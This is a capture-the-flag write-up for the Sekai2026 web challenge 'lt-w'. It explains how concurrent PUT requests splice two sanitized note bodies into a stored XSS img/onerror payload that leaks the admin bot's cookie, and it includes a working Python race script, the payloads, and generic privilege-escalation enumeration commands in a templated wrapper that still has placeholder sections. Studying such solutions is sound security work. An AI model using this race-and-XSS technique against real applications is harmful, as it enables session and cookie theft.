lt-w - <-w+ - less_than_w_plus
lt-w - <-w+ - less_than_w_plus
Platform: Sekai2026 | Category: Web | Type: Challenge | Difficulty: Normal | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-29 | Status: Solved Techniques: concurrent_put_race, console_cookie_exfiltration, file_write_splicing, stored_xss
Summary
Task: a Go note app sanitizes each message and serves stored files as HTML to an admin bot. Solution: race concurrent PUT writes so two individually safe sanitized bodies splice into an executable img/onerror tag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
sekai2026| ID:20260629_sekai2026_less_than_w_plus - Tags: race_condition, xss, go, admin_bot, html_parser, sanitizer_bypass
- Indicators: O_TRUNC without locking, sanitized notes served as text/html, regex removes <\w+ after entity replacement, CSP allows unsafe-inline scripts, admin bot logs console output
- Source:
20260629_sekai2026_less_than_w_plus.md
Foothold
Vulnerability / Misconfiguration
- Concurrent_put_race
- Console_cookie_exfiltration
- File_write_splicing
- Stored_xss
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- concurrent_put_race
- console_cookie_exfiltration
- file_write_splicing
- stored_xss
- Tags: race_condition, xss, go, admin_bot, html_parser, sanitizer_bypass
Original Writeup
<details><summary>Click to expand original content</summary>lt-w / <\w+ / less_than_w_plus — sekai2026
Description
Original organizer task description was not available in the solving notes.
English summary: the challenge provided a Go note application and an admin bot. The goal was to make the bot visit an attacker-controlled note and print its FLAG cookie to the console.
Analysis
The application stores notes as files under /app/notes/{uuid} and serves them with:
Content-Type: text/html;charset=utf-8
Creating or updating a note runs this sanitizer in app/main.go:
sanitized := bluemonday.StrictPolicy().Sanitize(msg) sanitized = strings.ReplaceAll(sanitized, "<", "<") sanitized = strings.ReplaceAll(sanitized, ">", ">") sanitized = regexp.MustCompile(`<(/)?\w+`).ReplaceAllString(sanitized, "")
Per request this looks fairly strong for normal stored XSS. Encoded tags are decoded and then the final regex removes any < followed by an optional slash and a word character. For example, <img/src/onerror=console.log(document.cookie)> becomes only the attribute fragment src/onerror=console.log(document.cookie)>, not an element.
The important bug was not inside the HTML parser or bluemonday. It was in the update path:
f, _ := os.OpenFile(filePath, os.O_WRONLY|os.O_TRUNC, 0644) f.Write([]byte(sanitized))
There was no locking. Concurrent PUT /notes/{id} requests can open/truncate/write the same file at overlapping times. Each request writes a body that was safe by itself, but a later short write can overwrite the beginning of a longer write and create unsafe HTML in the final file.
The admin bot sets FLAG as a cookie for ltw.chals.sekai.team, visits https://ltw.chals.sekai.team/notes/{uuid}, and logs browser console output. CSP is restrictive for external resources but allows inline JavaScript:
default-src 'none'; script-src 'unsafe-inline'
So console.log(document.cookie) is enough for exfiltration.
Failed Leads
- Direct encoded tags were reduced to harmless fragments, e.g.
<img...>becamesrc=...>after the regex. - Literal NULL variants such as
<\x00imgand<\x00script>did not become working Chrome tags. - The old bluemonday CVE-2021-29272 / GHSA-3x58-xr87-2fcj
scrİptbypass was patched in the used version, v1.0.27. golang.org/x/net/htmlCVE-2025-22872 and CVE-2026-42502 style parser differentials were investigated, butStrictPolicyplus the final regex killed the tested payload families.- Bot/proxy tricks were unnecessary because the UUID-only bot URL and fixed response headers did not expose the cookie without script execution.
Solution
Use two individually safe payloads against the same note ID:
- Payload A:
message=<
After sanitization this becomes the one-byte string:
<
- Payload B:
message=Bimg/src/onerror=console.log(document.cookie)>
It contains no <\w+ opener, so it remains:
Bimg/src/onerror=console.log(document.cookie)>
Race many concurrent PUT requests with these two bodies. The winning interleaving is:
- Payload B opens the file, truncates it, and writes
Bimg/src/onerror=console.log(document.cookie)>. - Payload A, already opened on the same file, writes its single byte
<at offset0afterward. - The final file becomes:
<img/src/onerror=console.log(document.cookie)>
Chrome treats the slash after img as an attribute separator, producing an image element roughly equivalent to:
<img src="" onerror="console.log(document.cookie)">
The empty/broken image source triggers onerror, and the bot prints the cookie.
Production was verified with note ID:
f3a3ea11-df14-4d8f-9998-110ee1b4ee5e
whose final body was:
<img/src/onerror=console.log(document.cookie)>
The admin bot log contained:
console.log: FLAG=SEKAI{REDACTED}
Exploit Sketch
The working script was saved as tasks/sekai2026/lt-w/race_put.py. Its core logic is:
#!/usr/bin/env python3
import concurrent.futures
import re
import urllib.parse
import urllib.request
BASE = "https://ltw.chals.sekai.team"
class NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
opener = urllib.request.build_opener(NoRedirect)
def request(method, path, data=None):
body = None if data is None else urllib.parse.urlencode(data).encode()
req = urllib.request.Request(BASE + path, data=body, method=method)
try:
return opener.open(req, timeout=10).read()
except urllib.error.HTTPError as e:
return e.read()
def create_note():
req = urllib.request.Request(
BASE + "/create",
data=urllib.parse.urlencode({"message": "x"}).encode(),
method="POST",
)
try:
resp = opener.open(req, timeout=10)
loc = resp.headers.get("Location")
except urllib.error.HTTPError as e:
loc = e.headers.get("Location")
return re.search(r"/notes/([0-9a-fA-F-]+)", loc).group(1)
def put(note_id, msg):
request("PUT", f"/notes/{note_id}", {"message": msg})
def get(note_id):
return urllib.request.urlopen(BASE + f"/notes/{note_id}", timeout=10).read().decode()
def race_once(note_id, workers=80):
payloads = ["<", "Bimg/src/onerror=console.log(document.cookie)>"]
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = [ex.submit(put, note_id, payloads[i & 1]) for i in range(workers)]
for f in futures:
try:
f.result()
except Exception:
pass
return get(note_id)
note_id = create_note()
for i in range(200):
body = race_once(note_id)
if body.startswith("<img") or body.startswith("<img/"):
print("HIT", note_id, repr(body))
break
After a hit, submit the note ID to the admin bot.
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR